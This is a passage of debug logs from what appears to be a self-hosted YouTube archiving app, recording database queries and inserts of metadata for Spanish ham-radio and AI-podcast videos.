G4ABX:\nhttps://www.youtube.com/watch?v=4ES5iZ1SJvE\n\n\n\nContenido del video ------------------------------\n00:00 - Presentación\n01:35 - Intro canal\n01:52 - El problema\n03:56 - EA1HFX y G4ABX\n04:37 - Calculando filtro\n07:10 - Probando con el nanoVNA\n08:27 - La placa\n10:10 - Demostrando la efectividad\n14:16 - Instalando en la Xiegu G90\n18:08 - Probando \n19:54 - Conclusiones\n\n#xiegu #g90 #filtro #ondamedia #radioaficionados #hamradio #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "149 - FILTRO DE ONDA MEDIA PARA XIEGU G90 INTERFERENCIAS SOBRECARGA RECEPTOR", 1303, false, "tBWQJSiA5i4", "https://www.youtube.com/watch?v=tBWQJSiA5i4", "/downloads/music/ea3grn/149 - FILTRO DE ONDA MEDIA PARA XIEGU G90 INTERFERENCIAS SOBRECARGA RECEPTOR.m4a", false, 3, ~U[2025-03-05 23:00:50Z]] 22:21:49.456 [debug] QUERY OK source="sources" db=0.4ms idle=534.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:21:49.457 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:49.458 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1354] 22:21:49.458 [debug] Current batch of media processed. Will check again in 1000ms 22:21:50.404 [debug] Current batch of media processed. Will check again in 1000ms 22:21:50.458 [debug] Current batch of media processed. Will check again in 1000ms 22:21:51.175 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:51.405 [debug] Current batch of media processed. Will check again in 1000ms 22:21:51.459 [debug] Current batch of media processed. Will check again in 1000ms 22:21:52.406 [debug] Current batch of media processed. Will check again in 1000ms 22:21:52.460 [debug] Current batch of media processed. Will check again in 1000ms 22:21:53.407 [debug] Current batch of media processed. Will check again in 1000ms 22:21:53.461 [debug] Current batch of media processed. Will check again in 1000ms 22:21:54.408 [debug] Current batch of media processed. Will check again in 1000ms 22:21:54.462 [debug] Current batch of media processed. Will check again in 1000ms 22:21:55.409 [debug] Current batch of media processed. Will check again in 1000ms 22:21:55.463 [debug] Current batch of media processed. Will check again in 1000ms 22:21:56.410 [debug] Current batch of media processed. Will check again in 1000ms 22:21:56.464 [debug] Current batch of media processed. Will check again in 1000ms 22:21:57.411 [debug] Current batch of media processed. Will check again in 1000ms 22:21:57.465 [debug] Current batch of media processed. Will check again in 1000ms 22:21:58.416 [debug] Current batch of media processed. Will check again in 1000ms 22:21:58.466 [debug] Current batch of media processed. Will check again in 1000ms 22:21:59.417 [debug] Current batch of media processed. Will check again in 1000ms 22:21:59.467 [debug] Current batch of media processed. Will check again in 1000ms 22:22:00.097 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:00.418 [debug] Current batch of media processed. Will check again in 1000ms 22:22:00.468 [debug] Current batch of media processed. Will check again in 1000ms 22:22:01.419 [debug] Current batch of media processed. Will check again in 1000ms 22:22:01.469 [debug] Current batch of media processed. Will check again in 1000ms 22:22:02.420 [debug] Current batch of media processed. Will check again in 1000ms 22:22:02.470 [debug] Current batch of media processed. Will check again in 1000ms 22:22:03.421 [debug] Current batch of media processed. Will check again in 1000ms 22:22:03.471 [debug] Current batch of media processed. Will check again in 1000ms 22:22:04.422 [debug] Current batch of media processed. Will check again in 1000ms 22:22:04.472 [debug] Current batch of media processed. Will check again in 1000ms 22:22:05.423 [debug] Current batch of media processed. Will check again in 1000ms 22:22:05.473 [debug] Current batch of media processed. Will check again in 1000ms 22:22:06.424 [debug] Current batch of media processed. Will check again in 1000ms 22:22:06.474 [debug] Current batch of media processed. Will check again in 1000ms 22:22:07.425 [debug] Current batch of media processed. Will check again in 1000ms 22:22:07.475 [debug] Current batch of media processed. Will check again in 1000ms 22:22:08.426 [debug] Current batch of media processed. Will check again in 1000ms 22:22:08.476 [debug] Current batch of media processed. Will check again in 1000ms 22:22:09.427 [debug] Current batch of media processed. Will check again in 1000ms 22:22:09.477 [debug] Current batch of media processed. Will check again in 1000ms 22:22:10.428 [debug] Current batch of media processed. Will check again in 1000ms 22:22:10.478 [debug] Current batch of media processed. Will check again in 1000ms 22:22:11.429 [debug] Current batch of media processed. Will check again in 1000ms 22:22:11.479 [debug] Current batch of media processed. Will check again in 1000ms 22:22:12.430 [debug] Current batch of media processed. Will check again in 1000ms 22:22:12.480 [debug] Current batch of media processed. Will check again in 1000ms 22:22:13.431 [debug] Current batch of media processed. Will check again in 1000ms 22:22:13.481 [debug] Current batch of media processed. Will check again in 1000ms 22:22:14.432 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep. 1️⃣9️⃣: Humanos vs IA 👥⚔️🤖\n\nHoy vamos a contaros como va la batalla \"funcional\" IA contra Humanos o Humanos contra IA. \n\nAquellas facetas en las que nos comparamos de manera \"Justa\", con arbitro y de manera ciega, de modo que el arbitro no sepa que es IA o que es Humano.\n\nEl resultado.... pues imaginatelo.... las disciplinas donde se ha comepetido.... cada vez en mas.... en el video las repuestas!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE#origenal #chatgpt #IAGen #GenAI \n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 632, "filename" => "/downloads/music/IA mí QUÉ/EP.19 - IA VS HUMANOS.m4a", "id" => "zctUK6dPOKg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zctUK6dPOKg", "playlist_index" => 31, "timestamp" => 1753438594, "title" => "EP.19 - IA VS HUMANOS", "upload_date" => "20250725"} 22:22:14.433 [debug] QUERY OK source="sources" db=0.6ms idle=1672.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:22:14.434 [debug] QUERY OK source="sources" db=0.4ms idle=1673.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:22:14.435 [debug] QUERY OK source="media_items" db=0.6ms idle=1462.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-25 10:16:34Z], 2] 22:22:14.436 [debug] QUERY OK source="media_items" db=1.0ms idle=674.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep. 1️⃣9️⃣: Humanos vs IA 👥⚔️🤖\n\nHoy vamos a contaros como va la batalla \"funcional\" IA contra Humanos o Humanos contra IA. \n\nAquellas facetas en las que nos comparamos de manera \"Justa\", con arbitro y de manera ciega, de modo que el arbitro no sepa que es IA o que es Humano.\n\nEl resultado.... pues imaginatelo.... las disciplinas donde se ha comepetido.... cada vez en mas.... en el video las repuestas!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE#origenal #chatgpt #IAGen #GenAI \n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.19 - IA VS HUMANOS", "21384020-a431-4c53-a43e-e540f1f01d93", 632, false, "zctUK6dPOKg", "https://www.youtube.com/watch?v=zctUK6dPOKg", 31, "/downloads/music/IA mí QUÉ/EP.19 - IA VS HUMANOS.m4a", false, false, false, 2, [], 96, ~U[2025-07-25 10:16:34Z], ~U[2026-02-07 21:22:14Z], ~U[2026-02-07 21:22:14Z], "#IAMIQUE 👉🏼 Ep. 1️⃣9️⃣: Humanos vs IA 👥⚔️🤖\n\nHoy vamos a contaros como va la batalla \"funcional\" IA contra Humanos o Humanos contra IA. \n\nAquellas facetas en las que nos comparamos de manera \"Justa\", con arbitro y de manera ciega, de modo que el arbitro no sepa que es IA o que es Humano.\n\nEl resultado.... pues imaginatelo.... las disciplinas donde se ha comepetido.... cada vez en mas.... en el video las repuestas!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE#origenal #chatgpt #IAGen #GenAI \n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.19 - IA VS HUMANOS", 632, false, "zctUK6dPOKg", "https://www.youtube.com/watch?v=zctUK6dPOKg", "/downloads/music/IA mí QUÉ/EP.19 - IA VS HUMANOS.m4a", false, 2, ~U[2025-07-25 10:16:34Z]] 22:22:14.437 [debug] QUERY OK source="sources" db=0.3ms idle=463.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:22:14.438 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:14.438 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1331] 22:22:14.439 [debug] Current batch of media processed. Will check again in 1000ms 22:22:14.482 [debug] Current batch of media processed. Will check again in 1000ms 22:22:15.439 [debug] Current batch of media processed. Will check again in 1000ms 22:22:15.483 [debug] Current batch of media processed. Will check again in 1000ms 22:22:16.440 [debug] Current batch of media processed. Will check again in 1000ms 22:22:16.484 [debug] Current batch of media processed. Will check again in 1000ms 22:22:17.441 [debug] Current batch of media processed. Will check again in 1000ms 22:22:17.485 [debug] Current batch of media processed. Will check again in 1000ms 22:22:18.442 [debug] Current batch of media processed. Will check again in 1000ms 22:22:18.486 [debug] Current batch of media processed. Will check again in 1000ms 22:22:19.443 [debug] Current batch of media processed. Will check again in 1000ms 22:22:19.487 [debug] Current batch of media processed. Will check again in 1000ms 22:22:20.444 [debug] Current batch of media processed. Will check again in 1000ms 22:22:20.488 [debug] Current batch of media processed. Will check again in 1000ms 22:22:21.177 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:21.445 [debug] Current batch of media processed. Will check again in 1000ms 22:22:21.489 [debug] Current batch of media processed. Will check again in 1000ms 22:22:22.446 [debug] Current batch of media processed. Will check again in 1000ms 22:22:22.490 [debug] Current batch of media processed. Will check again in 1000ms 22:22:23.447 [debug] Current batch of media processed. Will check again in 1000ms 22:22:23.491 [debug] Current batch of media processed. Will check again in 1000ms 22:22:24.448 [debug] Current batch of media processed. Will check again in 1000ms 22:22:24.492 [debug] Current batch of media processed. Will check again in 1000ms 22:22:25.449 [debug] Current batch of media processed. Will check again in 1000ms 22:22:25.493 [debug] Current batch of media processed. Will check again in 1000ms 22:22:26.450 [debug] Current batch of media processed. Will check again in 1000ms 22:22:26.494 [debug] Current batch of media processed. Will check again in 1000ms 22:22:27.451 [debug] Current batch of media processed. Will check again in 1000ms 22:22:27.495 [debug] Current batch of media processed. Will check again in 1000ms 22:22:28.455 [debug] Current batch of media processed. Will check again in 1000ms 22:22:28.496 [debug] Current batch of media processed. Will check again in 1000ms 22:22:29.455 [debug] Current batch of media processed. Will check again in 1000ms 22:22:29.497 [debug] Current batch of media processed. Will check again in 1000ms 22:22:30.456 [debug] Current batch of media processed. Will check again in 1000ms 22:22:30.498 [debug] Current batch of media processed. Will check again in 1000ms 22:22:31.457 [debug] Current batch of media processed. Will check again in 1000ms 22:22:31.499 [debug] Current batch of media processed. Will check again in 1000ms 22:22:32.458 [debug] Current batch of media processed. Will check again in 1000ms 22:22:32.500 [debug] Current batch of media processed. Will check again in 1000ms 22:22:33.459 [debug] Current batch of media processed. Will check again in 1000ms 22:22:33.501 [debug] Current batch of media processed. Will check again in 1000ms 22:22:34.460 [debug] Current batch of media processed. Will check again in 1000ms 22:22:34.502 [debug] Current batch of media processed. Will check again in 1000ms 22:22:35.461 [debug] Current batch of media processed. Will check again in 1000ms 22:22:35.503 [debug] Current batch of media processed. Will check again in 1000ms 22:22:36.462 [debug] Current batch of media processed. Will check again in 1000ms 22:22:36.504 [debug] Current batch of media processed. Will check again in 1000ms 22:22:37.463 [debug] Current batch of media processed. Will check again in 1000ms 22:22:37.505 [debug] Current batch of media processed. Will check again in 1000ms 22:22:38.464 [debug] Current batch of media processed. Will check again in 1000ms 22:22:38.506 [debug] Current batch of media processed. Will check again in 1000ms 22:22:39.465 [debug] Current batch of media processed. Will check again in 1000ms 22:22:39.507 [debug] Current batch of media processed. Will check again in 1000ms 22:22:40.466 [debug] Current batch of media processed. Will check again in 1000ms 22:22:40.508 [debug] Current batch of media processed. Will check again in 1000ms 22:22:41.467 [debug] Current batch of media processed. Will check again in 1000ms 22:22:41.509 [debug] Current batch of media processed. Will check again in 1000ms 22:22:42.468 [debug] Current batch of media processed. Will check again in 1000ms 22:22:42.510 [debug] Current batch of media processed. Will check again in 1000ms 22:22:43.469 [debug] Current batch of media processed. Will check again in 1000ms 22:22:43.511 [debug] Current batch of media processed. Will check again in 1000ms 22:22:44.470 [debug] Current batch of media processed. Will check again in 1000ms 22:22:44.513 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a ver la antena JPC-12 que podeis comprar en aliexpress por un precio razonable y que es bastante versátil como antena transportable. Y la vamos a complementar con una varilla extra de 5.5 metros tambien de aliexpress para ver que nos permite hacer con esta varilla mas larga.\n\nEnlaces donde lo he comprado yo (hay muchos mas):\n\nAntena JPC-12:\nhttps://es.aliexpress.com/item/1005007591226489.html\nhttps://es.aliexpress.com/item/1005005945891096.html\n\nAntena de varilla:\nhttps://es.aliexpress.com/item/1005006704431817.html\nhttps://es.aliexpress.com/item/4001007343096.html\n\nBobina 40 metros para varilla 5.5 metros:\nhttps://es.aliexpress.com/item/1005007486998921.html\n\n\n#pac12 #jpc12 #varilla #5.5 metros #antena #hamradio #radioaficionados #\n\nContenido del video\n00:00 - Presentación\n00:23 - Intro Canal\n00:41 - Antena roja\n16:10 - JPC12 o PAC12\n24:27 - Probando antena economica\n26:25 - Bobina 40 metros\n28:28 - Probando PAC12\n29:26 - Pac12 con varilla 5 metros\n30:54 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2144, "filename" => "/downloads/music/ea3grn/148 - DOS ANTENAS CHINAS JPC12 PAC12 Y VARILLA TELESCOPICA 5METROS.m4a", "id" => "OssTGZaboRM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OssTGZaboRM", "playlist_index" => 33, "timestamp" => 1740679215, "title" => "148 - DOS ANTENAS CHINAS JPC12 PAC12 Y VARILLA TELESCOPICA 5METROS", "upload_date" => "20250227"} 22:22:44.513 [debug] QUERY OK source="sources" db=0.6ms idle=1480.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:22:44.514 [debug] QUERY OK source="sources" db=0.5ms idle=753.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:22:44.515 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=754.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 18:00:15Z], 3] 22:22:44.517 [debug] QUERY OK source="media_items" db=1.4ms idle=755.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a ver la antena JPC-12 que podeis comprar en aliexpress por un precio razonable y que es bastante versátil como antena transportable. Y la vamos a complementar con una varilla extra de 5.5 metros tambien de aliexpress para ver que nos permite hacer con esta varilla mas larga.\n\nEnlaces donde lo he comprado yo (hay muchos mas):\n\nAntena JPC-12:\nhttps://es.aliexpress.com/item/1005007591226489.html\nhttps://es.aliexpress.com/item/1005005945891096.html\n\nAntena de varilla:\nhttps://es.aliexpress.com/item/1005006704431817.html\nhttps://es.aliexpress.com/item/4001007343096.html\n\nBobina 40 metros para varilla 5.5 metros:\nhttps://es.aliexpress.com/item/1005007486998921.html\n\n\n#pac12 #jpc12 #varilla #5.5 metros #antena #hamradio #radioaficionados #\n\nContenido del video\n00:00 - Presentación\n00:23 - Intro Canal\n00:41 - Antena roja\n16:10 - JPC12 o PAC12\n24:27 - Probando antena economica\n26:25 - Bobina 40 metros\n28:28 - Probando PAC12\n29:26 - Pac12 con varilla 5 metros\n30:54 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "148 - DOS ANTENAS CHINAS JPC12 PAC12 Y VARILLA TELESCOPICA 5METROS", "02416d75-76d1-4188-9fde-c6c6d0180e46", 2144, false, "OssTGZaboRM", "https://www.youtube.com/watch?v=OssTGZaboRM", 33, "/downloads/music/ea3grn/148 - DOS ANTENAS CHINAS JPC12 PAC12 Y VARILLA TELESCOPICA 5METROS.m4a", false, false, false, 3, [], 98, ~U[2025-02-27 18:00:15Z], ~U[2026-02-07 21:22:44Z], ~U[2026-02-07 21:22:44Z], "Vamos a ver la antena JPC-12 que podeis comprar en aliexpress por un precio razonable y que es bastante versátil como antena transportable. Y la vamos a complementar con una varilla extra de 5.5 metros tambien de aliexpress para ver que nos permite hacer con esta varilla mas larga.\n\nEnlaces donde lo he comprado yo (hay muchos mas):\n\nAntena JPC-12:\nhttps://es.aliexpress.com/item/1005007591226489.html\nhttps://es.aliexpress.com/item/1005005945891096.html\n\nAntena de varilla:\nhttps://es.aliexpress.com/item/1005006704431817.html\nhttps://es.aliexpress.com/item/4001007343096.html\n\nBobina 40 metros para varilla 5.5 metros:\nhttps://es.aliexpress.com/item/1005007486998921.html\n\n\n#pac12 #jpc12 #varilla #5.5 metros #antena #hamradio #radioaficionados #\n\nContenido del video\n00:00 - Presentación\n00:23 - Intro Canal\n00:41 - Antena roja\n16:10 - JPC12 o PAC12\n24:27 - Probando antena economica\n26:25 - Bobina 40 metros\n28:28 - Probando PAC12\n29:26 - Pac12 con varilla 5 metros\n30:54 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "148 - DOS ANTENAS CHINAS JPC12 PAC12 Y VARILLA TELESCOPICA 5METROS", 2144, false, "OssTGZaboRM", "https://www.youtube.com/watch?v=OssTGZaboRM", "/downloads/music/ea3grn/148 - DOS ANTENAS CHINAS JPC12 PAC12 Y VARILLA TELESCOPICA 5METROS.m4a", false, 3, ~U[2025-02-27 18:00:15Z]] 22:22:44.518 [debug] QUERY OK source="sources" db=0.5ms idle=484.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:22:44.519 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:44.520 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1356] 22:22:44.520 [debug] Current batch of media processed. Will check again in 1000ms 22:22:45.471 [debug] Current batch of media processed. Will check again in 1000ms 22:22:45.520 [debug] Current batch of media processed. Will check again in 1000ms 22:22:46.472 [debug] Current batch of media processed. Will check again in 1000ms 22:22:46.521 [debug] Current batch of media processed. Will check again in 1000ms 22:22:47.473 [debug] Current batch of media processed. Will check again in 1000ms 22:22:47.522 [debug] Current batch of media processed. Will check again in 1000ms 